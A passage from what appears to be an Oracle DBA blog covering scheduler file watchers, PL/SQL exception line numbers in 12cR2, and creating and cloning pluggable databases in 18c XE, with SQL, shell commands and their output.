Of more immediate interest is the schedule, which will tell us how often a filewatcher will run :

select schedule_type, repeat_interval
from dba_scheduler_schedules
where schedule_name = 'FILE_WATCHER_SCHEDULE'
/

SCHEDULE_TYPE        REPEAT_INTERVAL               
-------------------- ------------------------------
CALENDAR             freq=minutely;interval=10      

What this means is that the filewatcher will check every 10 minutes to see if any file it’s looking for has arrived since it last checked.
Actually, what it means is that the filewatcher will check to see if a file it’s looking for exists and has a timestamp later than the last time it checked.
This distinction will become more relevant when we start testing. Speaking of which, testing will be rather less tedious if we can make the filewatcher run more regularly.

Therefore, I’m going to set it to run every minute.
To achieve this, I need to connect as SYSDBA and run…

alter session set container = pdb1;

begin
    dbms_scheduler.set_attribute(  
        name => 'file_watcher_schedule',
        attribute => 'repeat_interval',
        value => 'freq=minutely;interval=1');
end;
/

…where pdb1 is the name of your container database.

If we check again we should see that the FILE_WATCHER_SCHEDULE now reflects the new repeat_interval :

select repeat_interval
from dba_scheduler_schedules
where schedule_name = 'FILE_WATCHER_SCHEDULE'
/

REPEAT_INTERVAL               
------------------------------
freq=minutely;interval=1     

Cautious Credential Creation

We’re going to need access to an OS account that can read the files as they come in.
If we’re going to do anything with the files (e.g. load data) then the OS user that started Oracle (usually oralce) will also need to read these files.

The easiest way to achieve this is simply to create a credential for the oracle OS user.
There was an exploit back in 11gR2, which meant that it was possible to discover the password of the OS user used in a credential.
This particular vulnerability seems to have been fixed in later versions. It doesn’t work on the 12c R2 database I’m using here for example.
Whilst I’m not aware of any such vulnerabilities extant for more recent versions, it would seem prudent to use a somewhat less privileged OS user for our credential…

Sorry about the bag, didn’t have time to shave!

You’re not obliged to laugh at that rather oblique Blackadder reference in this heading, which I thought might be suitable as a caption for that photo. Anyhow, it does explain the name of the OS user I’ve created to use for our credential…

sudo useradd -m ponsonby
sudo passwd ponsonby

…creating a password for ponsonby when prompted.

Whilst I’m here, I may as well create the directory to hold the files under ponsonby’s home directory, which will ensure the user has access to these files.
To allow oracle to also see the files, I’ll set the directory group to be oinstall, the oracle user’s primary group.
Note that I don’t need to make ponsonby a member of this group.
Finally, I need to set the others executable bit on ponsonby’s home directory so that oracle can access the in_files sub-directory :

sudo mkdir /home/ponsonby/in_files
sudo chown ponsonby /home/ponsonby/in_files 
chgrp oinstall /home/ponsonby/in_files
sudo chmod a+x /home/ponsonby

Now we have a landing directory for our files, we can create a directory object for it in the database. Whilst this is not required for the filewatcher itself, I’m going to want to read the contents of the file from within the database at some point so…

create directory in_files as '/home/ponsonby/in_files'
/

Finally, we can create our credential…

begin
    dbms_credential.create_credential(
        credential_name => 'caption_cred',
        username => 'ponsonby',
        password => 'a-fiendishly-difficult-to-guess-password',
        comments => 'Credentials for file watcher on IN_FILES directory');
 end;
 /

…replacing “a-fiendishly-difficult-to-guess-password” with the password we set for ponsonby.

We can now see our credential in USER_SCHEDULER_CREDENTIALS :

select credential_name, username, comments
from user_scheduler_credentials
where credential_name = 'CAPTION_CRED'
/



CREDENTIAL_NAME USERNAME   COMMENTS                                          
--------------- ---------- --------------------------------------------------
CAPTION_CRED    ponsonby   Credentials for file watcher on IN_FILES directory

Right, now that’s all sorted we can…

Create a File Watcher

To start with we’re going to look for files called captionsomething.txt :

begin
    dbms_scheduler.create_file_watcher(
        file_watcher_name => 'caption_competition_fw',
        directory_path => '/home/ponsonby/in_files',
        file_name => 'caption*.txt',
        credential_name => 'fw_credential',
        enabled => false,
        comments => 'Watching for "witty" captions');
end;
/

Note that we’ve created the filewatcher in a disabled state at the moment, as we can see here :

select enabled, directory_path, file_name, 
    credential_name, comments
from user_scheduler_file_watchers
where file_watcher_name = 'CAPTION_COMP_FW'
/



ENABLED    DIRECTORY_PATH            FILE_NAME       CREDENTIAL_NAME COMMENTS                                          
---------- ------------------------- --------------- --------------- --------------------------------------------------
FALSE      /home/ponsonby/in_files   caption*.txt    CAPTION_CRED    Watching for "witty" captions                     

This is because we’ve still got to create all the other stuff we need for it to do anything useful.
Speaking of which…

Yes, that is my Death Star parked outside

When the file watcher runs it will return an object of type SCHEDULER_FILEWATCHER_RESULT.
We’re going to take the scalar properties of that object and dump them into a table :

create table incoming_files(
    destination VARCHAR2(4000),
    directory_path VARCHAR2(4000),
    actual_file_name VARCHAR2(4000),
    file_size NUMBER,
    file_timestamp TIMESTAMP WITH TIME ZONE)
/    

…using this stored procedure :

create or replace procedure save_incoming_file( i_result sys.scheduler_filewatcher_result)
as
begin
    insert into incoming_files( 
        destination, 
        directory_path, 
        actual_file_name, 
        file_size, 
        file_timestamp)
    values(
        i_result.destination,
        i_result.directory_path,
        i_result.actual_file_name,
        i_result.file_size,
        i_result.file_timestamp);
end;
/

NOTE – when this gets executed from the scheduler job, the transaction will commit.
You do not need to do this explicitly. Additionally if you attempt to use an autonomous transaction, your change is likely to disappear into the ether.

We need a means of calling this stored procedure when the filewatcher is triggered. This requires two further objects…

The Dentist will see you now

First, we need a scheduler program, which we’ll use to call the procedure. As we want to read the output of the filewatcher, we’ll need to add an argument to the program.
Then, we’ll create a scheduler job to tie the program to the file watcher.
I know, let’s do all of that in one fell swoop :

begin
    dbms_scheduler.create_program(
        program_name => 'caption_prog',
        program_type => 'stored_procedure',
        program_action => 'save_incoming_file',
        number_of_arguments => 1,
        enabled => false);
        
    -- need to make sure this program can see the message sent by the filewatcher...
    dbms_scheduler.define_metadata_argument(
        program_name => 'caption_prog',
        metadata_attribute => 'event_message',
        argument_position => 1);
        
    -- Create a job that links our filewatcher to our program...
    dbms_scheduler.create_job(
        job_name => 'caption_job',
        program_name => 'caption_prog',
        event_condition => null,
        queue_spec => 'caption_comp_fw',
        auto_drop => false,
        enabled => false);
end;
/

We can now see the program is in the data dictionary…

select program_type, program_action, number_of_arguments,
    enabled
from user_scheduler_programs
where program_name = 'CAPTION_PROG'
/


PROGRAM_TYPE         PROGRAM_ACTION       NUMBER_OF_ARGUMENTS ENABLED   
-------------------- -------------------- ------------------- ----------
STORED_PROCEDURE     save_incoming_file                     1 FALSE     

…along with the job…

select program_name, schedule_type, file_watcher_name,
    enabled
from user_scheduler_jobs
where job_name = 'CAPTION_JOB'
/

PROGRAM_NAME         SCHEDULE_TYPE        FILE_WATCHER_NA ENABLED   
-------------------- -------------------- --------------- ----------
CAPTION_PROG         FILE_WATCHER         CAPTION_COMP_FW FALSE     

Now we’ve created all of the components, we can enable everything :

begin
    dbms_scheduler.enable('caption_comp_fw');
    dbms_scheduler.enable('caption_prog');
    dbms_scheduler.enable('caption_job');
end;
/

To confirm everything in our stack is enabled :

select file_watcher_name as scheduler_object, enabled
from user_scheduler_file_watchers
where file_watcher_name = 'CAPTION_COMP_FW'
union all
select program_name, enabled
from user_scheduler_programs
where program_name = 'CAPTION_PROG'
union all
select job_name, enabled
from user_scheduler_jobs
where program_name = 'CAPTION_PROG'
and file_watcher_name = 'CAPTION_COMP_FW'
/


SCHEDULER_OBJECT               ENABLED             
------------------------------ --------------------
CAPTION_COMP_FW                TRUE                
CAPTION_PROG                   TRUE                
CAPTION_JOB                    TRUE                

Test

To test it, we need to create a file with an appropriate name in the directory we’re watching :

cd /home/ponsonby/in_files
sudo su ponsonby
echo "Inside every old person is a young person wondering what happened.">caption01.txt

You’ll need to give it a minute from the file creation to the job running.

As this is a scheduler job, you can check how the run went in the usual places :

select log_id, job_name, log_date, status
from user_scheduler_job_log
where job_name = 'CAPTION_JOB'
/


    LOG_ID JOB_NAME                       LOG_DATE                            STATUS         
---------- ------------------------------ ----------------------------------- ---------------
     27010 CAPTION_JOB                    28-SEP-20 20.51.01.508628000 +01:00 SUCCEEDED      

For further details :

select job_name, run_duration, status,
    error#, additional_info, errors
from user_scheduler_job_run_details
where log_id = 27010
/

JOB_NAME                       RUN_DURATION        STATUS              ERROR# ADDITIONAL_INFO      ERRORS              
------------------------------ ------------------- --------------- ---------- -------------------- --------------------
CAPTION_JOB                    +00 00:00:00.000000 SUCCEEDED                0                                          

Of course, the important bit here is what, if anything, has been inserted into the table :

select destination, directory_path, actual_file_name,
    file_size, file_timestamp
from incoming_files
/

DESTINATION     DIRECTORY_PATH            ACTUAL_FILE_NAM  FILE_SIZE FILE_TIMESTAMP                  
--------------- ------------------------- --------------- ---------- --------------------------------
localhost       /home/ponsonby/in_files   caption01.txt           67 28-SEP-20 19.49.23.000000000 GMT


Wait for it !

All of this is fine if you want to process a small file, or even use it solely as a trigger to kick something off, but what about a larger file or, at least, one that takes more than a few seconds to transfer into the directory we’re watching ?

Fortunately, we can use the filewatcher’s steady_state_duration parameter to specify a minimum time the filewatcher should wait after the file is last written to before it considers the file to have arrived :

begin
    dbms_scheduler.set_attribute(
        name => 'caption_comp_fw',
        attribute => 'steady_state_duration',
        value => interval '20' second);
end;
/

To confirm the change :

select steady_state_duration
from user_scheduler_file_watchers
where file_watcher_name = 'CAPTION_COMP_FW'
/


STEADY_STATE_DURATION         
------------------------------
+00 00:00:20.000000

This means that the filewatcher should now wait until a file has not changed for 20 seconds before it kicks anything off.
Note that the steady_state_duration must be set to a value less than the interval at which the file watchers are set to poll ( 1 minute in our case).

Just as well as we’ve added a table to our application…

create table captions( 
    file_name varchar2(4000),
    caption_text varchar2(4000))
/

…and made some changes to the procedure we’re calling…

create or replace procedure save_incoming_file( i_result sys.scheduler_filewatcher_result)
as
    fh utl_file.file_type;
    buffer varchar2(4000);
    
    fname varchar2(4000);
    C_DIR constant all_directories.directory_name%type := 'IN_FILES';
begin
    insert into incoming_files( 
        destination, 
        directory_path, 
        actual_file_name, 
        file_size, 
        file_timestamp)
    values(
        i_result.destination,
        i_result.directory_path,
        i_result.actual_file_name,
        i_result.file_size,
        i_result.file_timestamp);

    fname := i_result.actual_file_name;
    fh := utl_file.fopen(C_DIR, fname, 'R');
    
    loop
        begin -- nested block to read the file
            utl_file.get_line(fh, buffer);    
            if buffer is null then
                exit;
            end if;
            insert into captions( file_name, caption_text)
            values( fname, buffer); 
        exception when no_data_found then
            -- no more data to read
            exit;
        end; -- file read block
    end loop;
    utl_file.fclose(fh);
end;
/

Now we just need something to create our file…slowly. In my case I’m using this bash script ( running as ponsonby from /home/ponsonby) :

#!/bin/sh
outfile='in_files/caption02.txt'
echo 'Dress-down day at the Sith Order' >$outfile
sleep 19
echo 'Tall...and handsome (in the dark)'>>$outfile
exit

Once this has completed, we can check our application and confirm that the filewatcher has found the file…

select actual_file_name, file_size, file_timestamp 
from incoming_files
where actual_file_name = 'caption02.txt'
/

ACTUAL_FILE_NAME      FILE_SIZE FILE_TIMESTAMP                  
-------------------- ---------- --------------------------------
caption02.txt                67 29-SEP-20 20.47.21.000000000 GMT

…and waited long enough for it to finish being written before processing it…

select caption_text 
from captions
where file_name = 'caption02.txt'
/


CAPTION_TEXT                                                
------------------------------------------------------------
Dress down day at the Sith Order
Tall...and handsome( in the dark)

Acknowledgements

As ever Oracle Base was a veritable font of wisdom on the issue of file watchers.

I also found lots of useful info in Aychin’s Oracle RDBMS Blog.
Finally, this Stack Exchange article was invaluable in solving the mystery of *nix directory permissions.

Time flies when you’re having fun – The truth about Oracle Exception handlers (this week)

Fri, 2020-07-10 14:22

Oracle Twitter is a bit like Poker – you tend to take notice when Aces turn up.
I mention this because I’m indebted to Jacek Gebal, Sabine Heismath and Andy Sayer, whose discussion on this topic alerted me to the fact that PL/SQL exception handling had changed in a small but important way whilst I wasn’t looking.

Just in case you’re wondering whether that opening paragraph is a prelude to a post containing gratuitous references to a certain Motorhead song, all I can say is…if you like to gamble…

How things were

Consider this procedure :

create or replace procedure deal_em( i_card in varchar2)
as
begin
    if i_card in ('7', '11') then
        raise_application_error(-20000, 'Snake eyes watching you');
    elsif upper(i_card) = 'JOKER' then
        raise_application_error(-20001, q'[Don't forget the Joker]');
    elsif upper(i_card) = 'ACE OF SPADES' then
        dbms_output.put_line('The only card I need !');
    else
        raise_application_error(-20002, q'[I'm a shade of green]');
        dbms_output.put_line('Card is '||i_card);
    end if;    
exception when others then
    -- I'll see your application error and raise you...
    raise;
end;
/

As I observed some years ago, back in the days of 11g and before PL/SQL programmers could entertain themselves for hours by playing hunt the exception…

SQL> exec deal_em('7')
BEGIN deal_em('7'); END;

*
ERROR at line 1:
ORA-20000: Snake eyes watching you
ORA-06512: at "MIKE.DEAL_EM", line 16
ORA-06512: at line 1


SQL> exec deal_em('Joker')
BEGIN deal_em('Joker'); END;

*
ERROR at line 1:
ORA-20001: Don't forget the Joker
ORA-06512: at "MIKE.DEAL_EM", line 16
ORA-06512: at line 1


SQL> exec deal_em('2')
BEGIN deal_em('2'); END;

*
ERROR at line 1:
ORA-20002: I'm a shade of green
ORA-06512: at "MIKE.DEAL_EM", line 16
ORA-06512: at line 1

Read ’em and weep, three different exceptions but all of them are reported at line 16.

From 12cR2 onward (thanks Phil Goldenberg) however, some clever people at Oracle seem to have been pushing up the ante…

SQL> exec deal_em('7') 
BEGIN deal_em('7'); END;

*
ERROR at line 1:
ORA-20000: Snake eyes watching you
ORA-06512: at "MIKE.DEAL_EM", line 16
ORA-06512: at "MIKE.DEAL_EM", line 5
ORA-06512: at line 1


SQL> exec deal_em('Joker')
BEGIN deal_em('Joker'); END;

*
ERROR at line 1:
ORA-20001: Don't forget the Joker
ORA-06512: at "MIKE.DEAL_EM", line 16
ORA-06512: at "MIKE.DEAL_EM", line 7
ORA-06512: at line 1


SQL> exec deal_em('2')
BEGIN deal_em('2'); END;

*
ERROR at line 1:
ORA-20002: I'm a shade of green
ORA-06512: at "MIKE.DEAL_EM", line 16
ORA-06512: at "MIKE.DEAL_EM", line 11
ORA-06512: at line 1

Yep, right there at the bottom of the error stack is the line number from which the error originated.
There you have it, PL/SQL exceptions are now rather easier to pinpoint.
Oh, and gambling’s for fools.

Making the most of Oracle 18c XE – Pluggable Databases and the Oracle Eco-System

Fri, 2020-06-26 12:41

This was going to be a simple post about creating multiple Pluggable Databases (PDBs) in Oracle 18cXE.
But you know what it’s like, you get your lego database set out and then you spot those unusual shaped bricks… and the transparent ones… oh, that one has a wheel on…and get a bit carried away.
What follows is a guide on how to create three concurrent PDBs on an Oracle 18cXE database. However, I have taken the opportunity to investigate other areas of the Express Edition platform and so will be making use of Advanced Compression as well as Oracle Enterprise Manager Express.
In fact, I wouldn’t be surprised if SQLDeveloper put in an appearance as well.
I’ve also included a couple of the more notable members of Oracle’s small-but-perfectly-formed eco-system into the final design. On top of all that, I’ll be performing a magic trick to ensure that I only have to install each piece of software once, even though it may end up in multiple PDBs…

The Environment

The server we’ll be working on is running CentOS7.
It also has an Oracle 18cXE instance which has been newly installed following these steps.

Remote connection to the Container Database’s (CDB) Oracle Enterprise Manager Express instance is possible because we’ve run :

exec dbms_xdb_config.SetListenerLocalAccess(false);

Remote connection via TNS is possible provided the client from which we’re connecting has the following tnsnames.ora entry for it :

  XE =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = myserver.mydomain)(PORT = 1521))
      (CONNECT_DATA =
        (SERVER = DEDICATED)
        (SERVICE_NAME = XE)
      )
    )

…where myserver.mydomain is the address of the server.

When connected to the CDB as SYSTEM, we can see that we currently have two PDBS :

select sys_context('userenv', 'con_name') from dual;

SYS_CONTEXT('USERENV','CON_NAME')
--------------------------------------------------------------------------------
CDB$ROOT

select con_id, pdb_name, status
from dba_pdbs;

    CON_ID PDB_NAME			  STATUS
---------- ------------------------------ ----------
	 3 XEPDB1			  NORMAL
	 2 PDB$SEED			  NORMAL

Now, we know that the maximum number of PDBs allowed in 18cXE is three. However, this would appear to exclude the PDB$SEED database.

The Target Environment

I want to end up with three PDBS – one for Development, one for test and one for production.
As I’m doing a bit of “magic” I have borrowed the unofficial motto of the Unseen University to use as the naming convention for my PDBs.
Wizards are renowned for their big dinners and their motto is “Eta Beta Pi” ( Eat a Better Pie).
Wizards are not renowned for their punning.
Anyhow once I’ve finished, I’d like my PDBs to be configured as follows :

  • ETA (Development) – including the OraOpenSource Logger and utPLSQL test framework
  • BETA (Test) – OraOpenSource Logger and utPLSQL installed
  • PI (Production) – OraOpenSource Logger only

All PDBs should have a USERS tablespace in which compression is enabled by default.
Before we go and create any databases though, we need to get rid of the existing XEPDB1 PDB…

Dropping a PDB

Now, we could re-purpose and rename XEPDB1, but as it’s currently empty it’s probably easier just to drop it.

At the moment, we can see that this PDB has the following datafiles :

select df.name
from v$datafile df
inner join dba_pdbs pdb
    on pdb.con_id = df.con_id
    and pdb.pdb_name = 'XEPDB1';

NAME
--------------------------------------------------------------------------------
/opt/oracle/oradata/XE/XEPDB1/system01.dbf
/opt/oracle/oradata/XE/XEPDB1/sysaux01.dbf
/opt/oracle/oradata/XE/XEPDB1/undotbs01.dbf
/opt/oracle/oradata/XE/XEPDB1/users01.dbf

We want to get rid of these when we drop the PDB.

The PDB is currently open…

select name, open_mode
from v$pdbs
where name = 'XEPDB1'

NAME			       OPEN_MODE
------------------------------ ----------
XEPDB1			       READ WRITE

…so we need to connect as a user with the ALTER DATABASE and CREATE PLUGGABLE DATABASE privileges.

We can then close the PDB…

alter pluggable database xepdb1 close;

…and verify that it’s state has changed…

select open_mode
from v$pdbs
where name = 'XEPDB1';

OPEN_MODE
----------
MOUNTED

…before finally dropping it…

drop pluggable database xepdb1 including datafiles;

The PDB has now been removed…

select con_id, pdb_name, status
from dba_pdbs;

    CON_ID PDB_NAME			  STATUS
---------- ------------------------------ ----------
	 2 PDB$SEED			  NORMAL

…along with all of the datafiles…

ls -l /opt/oracle/oradata/XE/XEPDB1/
total 0

Now we’ve made a bit of space PDB wise, it’s time to…

Create a PDB from a Seed Database

I’m going to start by creating what will become my Production database (PI).
Speaking of Wizards, we’re going utilise the one in Enterprise Manager Express to do this.

To begin with, we need to connect to EM Express :

Hot Tip – don’t do what I did and connect as SYSTEM if you want to open the PDB once it’s been created ! Use an account with the ALTER DATABASE privilege.

Navigate to the Containers page

In the Containers section of the page choose Create from the Actions menu.

The wizard should now appear

On the General Page (first page) of the Create PDB From Seed wizard, supply values for the following :
PDB Name : pi
Username : pdbadmin
Password : a password for pdbadmin
Confirm password :

Incidentally, you can see the code that will be executed by EM Express if you click the Show SQL button.
In my case this is :

create pluggable database "PI" admin user "PDBADMIN" identified by **********  file_name_convert = ('/opt/oracle/oradata/XE/pdbseed/', '/opt/oracle/product/18c/dbhomeXE/XE/datafile/pi/');

alter pluggable database "PI" open read write;

-- declare bind variables
var b1 varchar2(4000);
var b2 varchar2(4000);
var b3 number;
var b4 number;
var b5 number;
var b6 number;
var b7 number;

-- init bind values 
exec :b1 := 'DEFAULT_CDB_PLAN';
exec :b2 := 'pi';
exec :b3 := 1;
exec :b4 := 100;
exec :b5 := 100;
exec :b6 := ;
exec :b7 := ;

begin
     sys.dbms_resource_manager.clear_pending_area();
     sys.dbms_resource_manager.create_pending_area();
     sys.dbms_resource_manager.create_cdb_plan_directive(
       plan                  => :b1,
       pluggable_database    => :b2,
       shares                => :b3,
       utilization_limit     => :b4,
       parallel_server_limit => :b5,
       memory_min            => :b6,
       memory_limit          => :b7);
       sys.dbms_resource_manager.validate_pending_area();
       sys.dbms_resource_manager.submit_pending_area();
   end;
/;

Some of that may change as we press on through the wizard. Click the Next arrow :


Right arrow click to go to storage page :

In our case accept datafile location defaults, and unlimited storage so no changes here.
Click the next arrow again, and we’ll have the chance to edit the default Resource Limits :

Once again, no changes are required in my case.

Finally, I’m going to click OK…and realise my mistake connecting as SYSTEM

On the plus side, it’s not too serious. The PDB has been created…

select con_id, pdb_name, status
from dba_pdbs
order by con_id;

    CON_ID PDB_NAME			  STATUS
---------- ------------------------------ ----------
	 2 PDB$SEED			  NORMAL
	 3 PI				  NEW

…it’s just not currently open…

select open_mode
from v$pdbs
where name = 'PI'
/

OPEN_MODE
----------
MOUNTED

To remedy this, I simply need to connect as a user with ALTER DATABASE and open the offending PDB.
As I have a brand new Database and I’m the DBA I’m going to connect as SYS as SYSDBA and run :

alter pluggable database pi open read write;

…which should yield the message…

Pluggable database altered.

…signalling that PI is open…

select open_mode
from v$pdbs
where name = 'PI';

OPEN_MODE
----------
READ WRITE

PI has the following datafiles :

select df.name
from v$datafile df
inner join dba_pdbs pdb
    on pdb.con_id = df.con_id
    and pdb.pdb_name = 'PI'
/

NAME
--------------------------------------------------------------------------------
/opt/oracle/product/18c/dbhomeXE/XE/datafile/PI/system01.dbf
/opt/oracle/product/18c/dbhomeXE/XE/datafile/PI/sysaux01.dbf
/opt/oracle/product/18c/dbhomeXE/XE/datafile/PI/undotbs01.dbf

One for each of the three non-temporary tablespaces created…

alter session set container = pi;

select tablespace_name, status, contents
from dba_tablespaces;

TABLESPACE_NAME 	       STATUS	 CONTENTS
------------------------------ --------- ---------------------
SYSTEM			       ONLINE	 PERMANENT
SYSAUX			       ONLINE	 PERMANENT
UNDOTBS1		       ONLINE	 UNDO
TEMP			       ONLINE	 TEMPORARY
Creating the USERS tablespace

We want to add a tablespace called USERS to hold any application data. So, as a user with ALTER DATABASE, make sure we’re connected to the correct container…

alter session set container = pi;

select sys_context('userenv', 'con_name') from dual;

…and run…

create tablespace users 
    datafile '/opt/oracle/product/18c/dbhomeXE/XE/datafile/PI/users01.dbf' size 512M autoextend on
/
    
alter tablespace users default table compress for oltp;

This should result in a tablespace with a default table compression value set to ENABLED :

select tablespace_name, def_tab_compression
from dba_tablespaces;

TABLESPACE_NAME                DEF_TAB_
------------------------------ --------
SYSTEM                         DISABLED
SYSAUX                         DISABLED
UNDOTBS1                       DISABLED
TEMP                           DISABLED
USERS                          ENABLED 

…and a new datafile…

select df.name
from v$datafile df
inner join dba_pdbs pdb
    on pdb.con_id = df.con_id
    and pdb.pdb_name = 'PI'
/ 

NAME                                                                            
--------------------------------------------------------------------------------
/opt/oracle/product/18c/dbhomeXE/XE/datafile/PI/system01.dbf                    
/opt/oracle/product/18c/dbhomeXE/XE/datafile/PI/sysaux01.dbf                    
/opt/oracle/product/18c/dbhomeXE/XE/datafile/PI/undotbs01.dbf                   
/opt/oracle/product/18c/dbhomeXE/XE/datafile/PI/users01.dbf    
Setting the default tablespace

At present, the default tablespace in PI is SYSTEM :

select property_value
from database_properties
where property_name = 'DEFAULT_PERMANENT_TABLESPACE'
/

PROPERTY_VALUE                                                                  
--------------------------------------------------------------------------------
SYSTEM                                                                          

We want to change this to USERS, so …

alter pluggable database default tablespace users;

Pluggable database altered.

select property_value
from database_properties
where property_name = 'DEFAULT_PERMANENT_TABLESPACE'
/

PROPERTY_VALUE                                                                  
--------------------------------------------------------------------------------
USERS                                                                           
Ensuring the database starts on reboot

As a final piece of database administration, we want to make sure that PI starts when the instance does. To do this, we need to make sure that the PDB is open…

select open_mode
from v$pdbs
where name = 'PI';  
  
OPEN_MODE
----------
READ WRITE

…and then save the PDB’s state :

alter pluggable database pi save state;
Installing OraOpenSource Logger

I’ve setup a tns entry in the tnsnames.ora on my client machine. You’ll notice that it’s almost identical to the one for the CDB, with only the name of the entry itself and the service_name changed to the name of the new PDB :

  PI =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = myserver.mydomain)(PORT = 1521))
      (CONNECT_DATA =
        (SERVER = DEDICATED)
        (SERVICE_NAME = PI)
      )
    )

…where myserver.mydomain is the address of the server.

I’ve downloaded the zip for OraOpenSource Logger v 3.11 from Github and extracted it onto my client machine.
I now navigate to the main directory and connect to the database as system:

cd logger311
sqlplus system@pi

NOTE – if you have not yet setup remote connections and you want to perform this installation from the server then download and extract the zip file to the server itself. Then, navigate to the logger311 directory and connect to the database using :

sqlplus system@localhost:1521/pi 

Either way, once you’re connected you can run the creation script for Logger owner schema.
You will be prompted for a schema name, default tablespace and password. Remember the username and password you select because you’ll need them in a moment…

@create_user.sql

Name of the new logger schema to create       [LOGGER_USER] : 
Tablespace for the new logger schema           [USERS] : 
Temporary Tablespace for the new logger schema  [TEMP] : 
Enter a password for the logger schema              [] :       

User created.


User altered.


Grant succeeded.



LOGGER_USER user successfully created.
Important!!! Connect as the LOGGER_USER user and run the logger_install.sql script.

Disconnected from Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production
Version 18.4.0.0.0

Now, we need to connect as the user we’ve just created ( LOGGER_USER in this case) and run :

@logger_install.sql

This will result in a number of actions concluding with :

*************************************************
Now executing LOGGER.STATUS...

Project Home Page        : https://github.com/oraopensource/logger/
Logger Version           : 3.1.1
Debug Level              : DEBUG
Capture Call Stack       : TRUE
Protect Admin Procedures : TRUE
APEX Tracing             : Disabled
SCN Capture              : Disabled
Min. Purge Level         : DEBUG
Purge Older Than         : 7 days
Pref by client_id expire : 12 hours
For all client info see  : logger_prefs_by_client_id


PL/SQL procedure successfully completed.

*************************************************

PL/SQL procedure successfully completed.


View altered.

NOTE – once we get some application owning schemas we’ll need to grant Logger objects to them.
This can be done by running the following as the logger owner :

@scripts/grant_logger_to_user.sql <username> 

…where username is the schema to whom you wish to grant logger.

Once this has run, you can then run the following as the granted user :

@scripts/create_logger_synonyms.sql <logger owner>

…where logger owner is the name of the Logger application owner schema.

Just as an aside, we can see that the logger tables have inherited the default compression settings for the USERS tablespace in which they have been created :

select table_name, compression, compress_for
from dba_tables
where owner = 'LOGGER_USER'
order by 1;

TABLE_NAME                     COMPRESS COMPRESS_FOR                  
------------------------------ -------- ------------------------------
LOGGER_LOGS                    ENABLED  ADVANCED                      
LOGGER_LOGS_APEX_ITEMS         ENABLED  ADVANCED                      
LOGGER_PREFS                   ENABLED  ADVANCED                      
LOGGER_PREFS_BY_CLIENT_ID      ENABLED  ADVANCED         

Finally, we have our Production PDB configured. That was a fair bit of work though, and we still have another two PDBs to create.
Fortunately, we can save ourselves some time and effort by…

Cloning a PDB

Next, I want to create my Test PDB ( BETA). As with PI, it needs to have OOS Logger installed and have a USERS tablespace with the same characteristics.
We can achieve this with rather less typing that you might expect simply by cloning the PI PDB.

To do this, we need to be connected as a user with ALTER DATABASE and CREATE PLUGGABLE DATABASE privileges ( I’m using SYS as SYSDBA here).

To start with we need to ensure that PI is in Read-Only mode in order to clone it. So, we check it’s current mode…

select open_mode
from v$pdbs
where name = 'PI';

OPEN_MODE 
----------
READ WRITE

OK, so we need to put the PDB into read only mode…

alter pluggable database pi close;
alter pluggable database pi open read only;

select open_mode
from v$pdbs
where name = 'PI';

OPEN_MODE 
----------
READ ONLY 

…and then clone it…

create pluggable database beta from pi
    file_name_convert = (
        '/opt/oracle/product/18c/dbhomeXE/XE/datafile/PI', 
        '/opt/oracle/product/18c/dbhomeXE/XE/datafile/BETA')
/

Pluggable database created.

We can confirm that the PDB has been created ( it will have a status of “NEW” until it is opened for the first time) :

select pdb_name, status
from dba_pdbs;

PDB_NAME                       STATUS    
------------------------------ ----------
BETA                           NEW       
PDB$SEED                       NORMAL    
PI                             NORMAL    

We can also verify that the datafiles have been created in line with the FILE_NAME_CONVERT clause of the CREATE PLUGGABLE DATABASE command we issued :

select df.name
from v$datafile df
inner join dba_pdbs pdb
	 on pdb.con_id = df.con_id
	 and pdb.pdb_name = 'BETA'
/

NAME                                                                            
--------------------------------------------------------------------------------
/opt/oracle/product/18c/dbhomeXE/XE/datafile/BETA/system01.dbf                  
/opt/oracle/product/18c/dbhomeXE/XE/datafile/BETA/sysaux01.dbf                  
/opt/oracle/product/18c/dbhomeXE/XE/datafile/BETA/undotbs01.dbf                 
/opt/oracle/product/18c/dbhomeXE/XE/datafile/BETA/users01.dbf  

At the moment, both of our PDBs are READ ONLY :

select name, open_mode
from v$pdbs
/

NAME                           OPEN_MODE 
------------------------------ ----------
PDB$SEED                       READ ONLY 
PI                             READ ONLY 
BETA                           MOUNTED   

To open them :

alter pluggable database all except pdb$seed open read write force;

If we switch to BETA, we can see that OOS Logger has been copied from PI and is already installed :

alter session set container = beta;

select object_type, count(object_name)
from dba_objects
where owner = 'LOGGER_USER'
group by object_type
order by 2 desc;

OBJECT_TYPE             COUNT(OBJECT_NAME)
----------------------- ------------------
INDEX                                    8
TABLE                                    4
VIEW                                     3
SEQUENCE                                 2
TRIGGER                                  2
JOB                                      2
LOB                                      2
PROCEDURE                                1
PACKAGE BODY                             1
PACKAGE                                  1

10 rows selected. 

We need to make sure that Beta starts on database startup :

alter pluggable database beta save state;
Installing utPLSQL

Remember that BETA is to be our Test environment and we want to install the utPLSQL PL/SQL testing framework.
First, we need to download the latest version from here ( 3.1.10 at the time of writing).
Once we’ve extracted the zip, we need to follow the installation instructions so…

conn sys@beta as sysdba
@install_headless_with_trigger.sql 

This creates a schema called UT3 which contains the framework objects :

select object_type, count(object_name)
from dba_objects
where owner = 'UT3'
group by object_type
order by 2 desc; 

OBJECT_TYPE             COUNT(OBJECT_NAME)
----------------------- ------------------
TYPE                                   112
TYPE BODY                               78
INDEX                                   53
TABLE                                   30
PACKAGE                                 25
PACKAGE BODY                            25
SYNONYM                                 15
LOB                                     11
SEQUENCE                                 4
TRIGGER                                  1

10 rows selected. 

As before, we can confirm that this software exists only in this PDB :

alter session set container=cdb$root;

select username
from dba_users
where oracle_maintained = 'N';

no rows returned
Cloning a database using SQLDeveloper

If you prefer a more pointy/clicky variation on the theme of PDB cloning then SQLDeveloper is on hand to help (I’m using version 19.2 here).

Once you’ve started SQLDeveloper, from the View menu select DBA

If you don’t already have a connection to your CDB in the DBA Navigator window, add one using the green plus icon.

Now, expand the Connections tree and then the Container Database node and select the BETA node

From the Actions dropdown, select Clone PDB :

This will open the Clone Pluggable Database window :

  1. Enter the name of the PDB we want to create (ETA in our case)</li<
  2. File Name Conversions : Select Custom Names from the drop-down.
    You should see that the Target files are going to be written to a directory named after the new PDB
  3. KeyStorePassword : leave blank
  4. Check Open Automatically

The window should now look like this :

If you click on the SQL tab, we should see the code that SQLDeveloper is planning to run based on our selections :

Go back to the Properties Tab and click Apply

We can see that we now have a node for the new PDB :

Simple things please simple minds :

